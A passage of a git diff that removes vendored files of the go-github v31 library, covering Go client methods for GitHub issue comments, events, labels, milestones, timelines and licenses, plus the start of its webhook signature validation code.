*string `json:"node_id,omitempty"` - Body *string `json:"body,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - // AuthorAssociation is the comment author's relationship to the issue's repository. - // Possible values are "COLLABORATOR", "CONTRIBUTOR", "FIRST_TIMER", "FIRST_TIME_CONTRIBUTOR", "MEMBER", "OWNER", or "NONE". - AuthorAssociation *string `json:"author_association,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - IssueURL *string `json:"issue_url,omitempty"` -} - -func (i IssueComment) String() string { - return Stringify(i) -} - -// IssueListCommentsOptions specifies the optional parameters to the -// IssuesService.ListComments method. -type IssueListCommentsOptions struct { - // Sort specifies how to sort comments. Possible values are: created, updated. - Sort *string `url:"sort,omitempty"` - - // Direction in which to sort comments. Possible values are: asc, desc. - Direction *string `url:"direction,omitempty"` - - // Since filters comments by time. - Since *time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListComments lists all comments on the specified issue. Specifying an issue -// number of 0 will return all comments on all issues for the repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#list-comments-in-a-repository -// GitHub API docs: https://developer.github.com/v3/issues/comments/#list-comments-on-an-issue -func (s *IssuesService) ListComments(ctx context.Context, owner string, repo string, number int, opts *IssueListCommentsOptions) ([]*IssueComment, *Response, error) { - var u string - if number == 0 { - u = fmt.Sprintf("repos/%v/%v/issues/comments", owner, repo) - } else { - u = fmt.Sprintf("repos/%v/%v/issues/%d/comments", owner, repo, number) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*IssueComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment fetches the specified issue comment. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#get-a-single-comment -func (s *IssuesService) GetComment(ctx context.Context, owner string, repo string, commentID int64) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - comment := new(IssueComment) - resp, err := s.client.Do(ctx, req, comment) - if err != nil { - return nil, resp, err - } - - return comment, resp, nil -} - -// CreateComment creates a new comment on the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#create-a-comment -func (s *IssuesService) CreateComment(ctx context.Context, owner string, repo string, number int, comment *IssueComment) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - c := new(IssueComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment updates an issue comment. -// A non-nil comment.Body must be provided. Other comment fields should be left nil. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#edit-a-comment -func (s *IssuesService) EditComment(ctx context.Context, owner string, repo string, commentID int64, comment *IssueComment) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - c := new(IssueComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes an issue comment. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#delete-a-comment -func (s *IssuesService) DeleteComment(ctx context.Context, owner string, repo string, commentID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_events.go b/vendor/github.com/google/go-github/v31/github/issues_events.go deleted file mode 100644 index fa948596a3..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_events.go +++ /dev/null @@ -1,175 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// IssueEvent represents an event that occurred around an Issue or Pull Request. -type IssueEvent struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - - // The User that generated this event. - Actor *User `json:"actor,omitempty"` - - // Event identifies the actual type of Event that occurred. Possible - // values are: - // - // closed - // The Actor closed the issue. - // If the issue was closed by commit message, CommitID holds the SHA1 hash of the commit. - // - // merged - // The Actor merged into master a branch containing a commit mentioning the issue. - // CommitID holds the SHA1 of the merge commit. - // - // referenced - // The Actor committed to master a commit mentioning the issue in its commit message. - // CommitID holds the SHA1 of the commit. - // - // reopened, unlocked - // The Actor did that to the issue. - // - // locked - // The Actor locked the issue. - // LockReason holds the reason of locking the issue (if provided while locking). - // - // renamed - // The Actor changed the issue title from Rename.From to Rename.To. - // - // mentioned - // Someone unspecified @mentioned the Actor [sic] in an issue comment body. - // - // assigned, unassigned - // The Assigner assigned the issue to or removed the assignment from the Assignee. - // - // labeled, unlabeled - // The Actor added or removed the Label from the issue. - // - // milestoned, demilestoned - // The Actor added or removed the issue from the Milestone. - // - // subscribed, unsubscribed - // The Actor subscribed to or unsubscribed from notifications for an issue. - // - // head_ref_deleted, head_ref_restored - // The pull request’s branch was deleted or restored. - // - // review_dismissed - // The review was dismissed and `DismissedReview` will be populated below. - // - Event *string `json:"event,omitempty"` - - CreatedAt *time.Time `json:"created_at,omitempty"` - Issue *Issue `json:"issue,omitempty"` - - // Only present on certain events; see above. - Assignee *User `json:"assignee,omitempty"` - Assigner *User `json:"assigner,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - Label *Label `json:"label,omitempty"` - Rename *Rename `json:"rename,omitempty"` - LockReason *string `json:"lock_reason,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` - DismissedReview *DismissedReview `json:"dismissed_review,omitempty"` -} - -// DismissedReview represents details for 'dismissed_review' events. -type DismissedReview struct { - // State represents the state of the dismissed review. - // Possible values are: "commented", "approved", and "changes_requested". - State *string `json:"state,omitempty"` - ReviewID *int64 `json:"review_id,omitempty"` - DismissalMessage *string `json:"dismissal_message,omitempty"` - DismissalCommitID *string `json:"dismissal_commit_id,omitempty"` -} - -// ListIssueEvents lists events for the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#list-events-for-an-issue -func (s *IssuesService) ListIssueEvents(ctx context.Context, owner, repo string, number int, opts *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/events", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeProjectCardDetailsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListRepositoryEvents lists events for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#list-events-for-a-repository -func (s *IssuesService) ListRepositoryEvents(ctx context.Context, owner, repo string, opts *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// GetEvent returns the specified issue event. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#get-a-single-event -func (s *IssuesService) GetEvent(ctx context.Context, owner, repo string, id int64) (*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events/%v", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - event := new(IssueEvent) - resp, err := s.client.Do(ctx, req, event) - if err != nil { - return nil, resp, err - } - - return event, resp, nil -} - -// Rename contains details for 'renamed' events. -type Rename struct { - From *string `json:"from,omitempty"` - To *string `json:"to,omitempty"` -} - -func (r Rename) String() string { - return Stringify(r) -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_labels.go b/vendor/github.com/google/go-github/v31/github/issues_labels.go deleted file mode 100644 index fa3002599a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_labels.go +++ /dev/null @@ -1,231 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Label represents a GitHub label on an Issue -type Label struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Color *string `json:"color,omitempty"` - Description *string `json:"description,omitempty"` - Default *bool `json:"default,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (l Label) String() string { - return Stringify(l) -} - -// ListLabels lists all labels for a repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#list-all-labels-for-this-repository -func (s *IssuesService) ListLabels(ctx context.Context, owner string, repo string, opts *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} - -// GetLabel gets a single label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#get-a-single-label -func (s *IssuesService) GetLabel(ctx context.Context, owner string, repo string, name string) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - label := new(Label) - resp, err := s.client.Do(ctx, req, label) - if err != nil { - return nil, resp, err - } - - return label, resp, nil -} - -// CreateLabel creates a new label on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#create-a-label -func (s *IssuesService) CreateLabel(ctx context.Context, owner string, repo string, label *Label) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels", owner, repo) - req, err := s.client.NewRequest("POST", u, label) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(ctx, req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// EditLabel edits a label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#update-a-label -func (s *IssuesService) EditLabel(ctx context.Context, owner string, repo string, name string, label *Label) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("PATCH", u, label) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(ctx, req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// DeleteLabel deletes a label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#delete-a-label -func (s *IssuesService) DeleteLabel(ctx context.Context, owner string, repo string, name string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// ListLabelsByIssue lists all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#list-labels-on-an-issue -func (s *IssuesService) ListLabelsByIssue(ctx context.Context, owner string, repo string, number int, opts *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} - -// AddLabelsToIssue adds labels to an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#add-labels-to-an-issue -func (s *IssuesService) AddLabelsToIssue(ctx context.Context, owner string, repo string, number int, labels []string) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("POST", u, labels) - if err != nil { - return nil, nil, err - } - - var l []*Label - resp, err := s.client.Do(ctx, req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// RemoveLabelForIssue removes a label for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#remove-a-label-from-an-issue -func (s *IssuesService) RemoveLabelForIssue(ctx context.Context, owner string, repo string, number int, label string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels/%v", owner, repo, number, label) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ReplaceLabelsForIssue replaces all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#replace-all-labels-for-an-issue -func (s *IssuesService) ReplaceLabelsForIssue(ctx context.Context, owner string, repo string, number int, labels []string) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("PUT", u, labels) - if err != nil { - return nil, nil, err - } - - var l []*Label - resp, err := s.client.Do(ctx, req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// RemoveLabelsForIssue removes all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#remove-all-labels-from-an-issue -func (s *IssuesService) RemoveLabelsForIssue(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListLabelsForMilestone lists labels for every issue in a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#get-labels-for-every-issue-in-a-milestone -func (s *IssuesService) ListLabelsForMilestone(ctx context.Context, owner string, repo string, number int, opts *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d/labels", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_milestones.go b/vendor/github.com/google/go-github/v31/github/issues_milestones.go deleted file mode 100644 index 4e44350722..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_milestones.go +++ /dev/null @@ -1,148 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Milestone represents a GitHub repository milestone. -type Milestone struct { - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Title *string `json:"title,omitempty"` - Description *string `json:"description,omitempty"` - Creator *User `json:"creator,omitempty"` - OpenIssues *int `json:"open_issues,omitempty"` - ClosedIssues *int `json:"closed_issues,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - DueOn *time.Time `json:"due_on,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (m Milestone) String() string { - return Stringify(m) -} - -// MilestoneListOptions specifies the optional parameters to the -// IssuesService.ListMilestones method. -type MilestoneListOptions struct { - // State filters milestones based on their state. Possible values are: - // open, closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Sort specifies how to sort milestones. Possible values are: due_on, completeness. - // Default value is "due_on". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort milestones. Possible values are: asc, desc. - // Default is "asc". - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListMilestones lists all milestones for a repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#list-milestones-for-a-repository -func (s *IssuesService) ListMilestones(ctx context.Context, owner string, repo string, opts *MilestoneListOptions) ([]*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var milestones []*Milestone - resp, err := s.client.Do(ctx, req, &milestones) - if err != nil { - return nil, resp, err - } - - return milestones, resp, nil -} - -// GetMilestone gets a single milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#get-a-single-milestone -func (s *IssuesService) GetMilestone(ctx context.Context, owner string, repo string, number int) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - milestone := new(Milestone) - resp, err := s.client.Do(ctx, req, milestone) - if err != nil { - return nil, resp, err - } - - return milestone, resp, nil -} - -// CreateMilestone creates a new milestone on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#create-a-milestone -func (s *IssuesService) CreateMilestone(ctx context.Context, owner string, repo string, milestone *Milestone) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones", owner, repo) - req, err := s.client.NewRequest("POST", u, milestone) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// EditMilestone edits a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#update-a-milestone -func (s *IssuesService) EditMilestone(ctx context.Context, owner string, repo string, number int, milestone *Milestone) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("PATCH", u, milestone) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteMilestone deletes a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#delete-a-milestone -func (s *IssuesService) DeleteMilestone(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/issues_timeline.go b/vendor/github.com/google/go-github/v31/github/issues_timeline.go deleted file mode 100644 index 58465e2228..0000000000 --- a/vendor/github.com/google/go-github/v31/github/issues_timeline.go +++ /dev/null @@ -1,154 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// Timeline represents an event that occurred around an Issue or Pull Request. -// -// It is similar to an IssueEvent but may contain more information. -// GitHub API docs: https://developer.github.com/v3/issues/timeline/ -type Timeline struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - CommitURL *string `json:"commit_url,omitempty"` - - // The User object that generated the event. - Actor *User `json:"actor,omitempty"` - - // Event identifies the actual type of Event that occurred. Possible values - // are: - // - // assigned - // The issue was assigned to the assignee. - // - // closed - // The issue was closed by the actor. When the commit_id is present, it - // identifies the commit that closed the issue using "closes / fixes #NN" - // syntax. - // - // commented - // A comment was added to the issue. - // - // committed - // A commit was added to the pull request's 'HEAD' branch. Only provided - // for pull requests. - // - // cross-referenced - // The issue was referenced from another issue. The 'source' attribute - // contains the 'id', 'actor', and 'url' of the reference's source. - // - // demilestoned - // The issue was removed from a milestone. - // - // head_ref_deleted - // The pull request's branch was deleted. - // - // head_ref_restored - // The pull request's branch was restored. - // - // labeled - // A label was added to the issue. - // - // locked - // The issue was locked by the actor. - // - // mentioned - // The actor was @mentioned in an issue body. - // - // merged - // The issue was merged by the actor. The 'commit_id' attribute is the - // SHA1 of the HEAD commit that was merged. - // - // milestoned - // The issue was added to a milestone. - // - // referenced - // The issue was referenced from a commit message. The 'commit_id' - // attribute is the commit SHA1 of where that happened. - // - // renamed - // The issue title was changed. - // - // reopened - // The issue was reopened by the actor. - // - // subscribed - // The actor subscribed to receive notifications for an issue. - // - // unassigned - // The assignee was unassigned from the issue. - // - // unlabeled - // A label was removed from the issue. - // - // unlocked - // The issue was unlocked by the actor. - // - // unsubscribed - // The actor unsubscribed to stop receiving notifications for an issue. - // - Event *string `json:"event,omitempty"` - - // The string SHA of a commit that referenced this Issue or Pull Request. - CommitID *string `json:"commit_id,omitempty"` - // The timestamp indicating when the event occurred. - CreatedAt *time.Time `json:"created_at,omitempty"` - // The Label object including `name` and `color` attributes. Only provided for - // 'labeled' and 'unlabeled' events. - Label *Label `json:"label,omitempty"` - // The User object which was assigned to (or unassigned from) this Issue or - // Pull Request. Only provided for 'assigned' and 'unassigned' events. - Assignee *User `json:"assignee,omitempty"` - // The Milestone object including a 'title' attribute. - // Only provided for 'milestoned' and 'demilestoned' events. - Milestone *Milestone `json:"milestone,omitempty"` - // The 'id', 'actor', and 'url' for the source of a reference from another issue. - // Only provided for 'cross-referenced' events. - Source *Source `json:"source,omitempty"` - // An object containing rename details including 'from' and 'to' attributes. - // Only provided for 'renamed' events. - Rename *Rename `json:"rename,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` -} - -// Source represents a reference's source. -type Source struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Actor *User `json:"actor,omitempty"` - Type *string `json:"type,omitempty"` - Issue *Issue `json:"issue,omitempty"` -} - -// ListIssueTimeline lists events for the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/timeline/#list-events-for-an-issue -func (s *IssuesService) ListIssueTimeline(ctx context.Context, owner, repo string, number int, opts *ListOptions) ([]*Timeline, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/timeline", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeTimelinePreview, mediaTypeProjectCardDetailsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var events []*Timeline - resp, err := s.client.Do(ctx, req, &events) - return events, resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/licenses.go b/vendor/github.com/google/go-github/v31/github/licenses.go deleted file mode 100644 index 1176d3a8bf..0000000000 --- a/vendor/github.com/google/go-github/v31/github/licenses.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// LicensesService handles communication with the license related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/licenses/ -type LicensesService service - -// RepositoryLicense represents the license for a repository. -type RepositoryLicense struct { - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - - SHA *string `json:"sha,omitempty"` - Size *int `json:"size,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - DownloadURL *string `json:"download_url,omitempty"` - Type *string `json:"type,omitempty"` - Content *string `json:"content,omitempty"` - Encoding *string `json:"encoding,omitempty"` - License *License `json:"license,omitempty"` -} - -func (l RepositoryLicense) String() string { - return Stringify(l) -} - -// License represents an open source license. -type License struct { - Key *string `json:"key,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - - SPDXID *string `json:"spdx_id,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Featured *bool `json:"featured,omitempty"` - Description *string `json:"description,omitempty"` - Implementation *string `json:"implementation,omitempty"` - Permissions *[]string `json:"permissions,omitempty"` - Conditions *[]string `json:"conditions,omitempty"` - Limitations *[]string `json:"limitations,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (l License) String() string { - return Stringify(l) -} - -// List popular open source licenses. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#list-all-licenses -func (s *LicensesService) List(ctx context.Context) ([]*License, *Response, error) { - req, err := s.client.NewRequest("GET", "licenses", nil) - if err != nil { - return nil, nil, err - } - - var licenses []*License - resp, err := s.client.Do(ctx, req, &licenses) - if err != nil { - return nil, resp, err - } - - return licenses, resp, nil -} - -// Get extended metadata for one license. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#get-an-individual-license -func (s *LicensesService) Get(ctx context.Context, licenseName string) (*License, *Response, error) { - u := fmt.Sprintf("licenses/%s", licenseName) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - license := new(License) - resp, err := s.client.Do(ctx, req, license) - if err != nil { - return nil, resp, err - } - - return license, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/messages.go b/vendor/github.com/google/go-github/v31/github/messages.go deleted file mode 100644 index 759f9e8180..0000000000 --- a/vendor/github.com/google/go-github/v31/github/messages.go +++ /dev/null @@ -1,260 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// This file provides functions for validating payloads from GitHub Webhooks. -// GitHub API docs: https://developer.github.com/webhooks/securing/#validating-payloads-from-github - -package github - -import ( - "crypto/hmac" - "crypto/sha1" - "crypto/sha256" - "crypto/sha512" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "hash" - "io/ioutil" - "net/http" - "net/url" - "strings" -) - -const ( - // sha1Prefix is the prefix used by GitHub before the HMAC hexdigest. - sha1Prefix = "sha1" - // sha256Prefix and sha512Prefix are provided for future compatibility. - sha256Prefix = "sha256" - sha512Prefix = "sha512" - // signatureHeader is the GitHub header key used to pass the HMAC hexdigest. - signatureHeader = "X-Hub-Signature" - // eventTypeHeader is the GitHub header key used to pass the event type. - eventTypeHeader = "X-Github-Event" - // deliveryIDHeader is the GitHub header key used to pass the unique ID for the webhook event. - deliveryIDHeader = "X-Github-Delivery" -) - -var ( - // eventTypeMapping maps webhooks types to their corresponding go-github struct types. - eventTypeMapping = map[string]string{ - "check_run": "CheckRunEvent", - "check_suite": "CheckSuiteEvent", - "commit_comment": "CommitCommentEvent", - "create": "CreateEvent", - "delete": "DeleteEvent", - "deploy_key": "DeployKeyEvent", - "deployment": "DeploymentEvent", - "deployment_status": "DeploymentStatusEvent", - "fork": "ForkEvent", - "gollum": "GollumEvent", - "installation": "InstallationEvent", - "installation_repositories": "InstallationRepositoriesEvent", - "issue_comment": "IssueCommentEvent", - "issues": "IssuesEvent", - "label": "LabelEvent", - "marketplace_purchase": "MarketplacePurchaseEvent", - "member": "MemberEvent", - "membership": "MembershipEvent", - "meta": "MetaEvent", - "milestone": "MilestoneEvent", - "organization": "OrganizationEvent", - "org_block": "OrgBlockEvent", - "page_build": "PageBuildEvent", - "ping": "PingEvent", - "project": "ProjectEvent", - "project_card": "ProjectCardEvent", - "project_column": "ProjectColumnEvent", - "public": "PublicEvent", - "pull_request_review": "PullRequestReviewEvent", - "pull_request_review_comment": "PullRequestReviewCommentEvent", - "pull_request": "PullRequestEvent", - "push": "PushEvent", - "repository": "RepositoryEvent", - "repository_dispatch": "RepositoryDispatchEvent", - "repository_vulnerability_alert": "RepositoryVulnerabilityAlertEvent", - "release": "ReleaseEvent", - "star": "StarEvent", - "status": "StatusEvent", - "team": "TeamEvent", - "team_add": "TeamAddEvent", - "user": "UserEvent", - "watch": "WatchEvent", - } -) - -// genMAC generates the HMAC signature for a message provided the secret key -// and hashFunc. -func genMAC(message, key []byte, hashFunc func() hash.Hash) []byte { - mac := hmac.New(hashFunc, key) - mac.Write(message) - return mac.Sum(nil) -} - -// checkMAC reports whether messageMAC is a valid HMAC tag for message. -func checkMAC(message, messageMAC, key []byte, hashFunc func() hash.Hash) bool { - expectedMAC := genMAC(message, key, hashFunc) - return hmac.Equal(messageMAC, expectedMAC) -} - -// messageMAC returns the hex-decoded HMAC tag from the signature and its -// corresponding hash function. -func messageMAC(signature string) ([]byte, func() hash.Hash, error) { - if signature == "" { - return nil, nil, errors.New("missing signature") - } - sigParts := strings.SplitN(signature, "=", 2) - if len(sigParts) != 2 { - return nil, nil, fmt.Errorf("error parsing signature %q", signature) - } - - var hashFunc func() hash.Hash - switch sigParts[0] { - case sha1Prefix: - hashFunc = sha1.New - case sha256Prefix: - hashFunc = sha256.New - case sha512Prefix: - hashFunc = sha512.New - default: - return nil, nil, fmt.Errorf("unknown hash type prefix: %q", sigParts[0]) - } - - buf, err := hex.DecodeString(sigParts[1]) - if err != nil { - 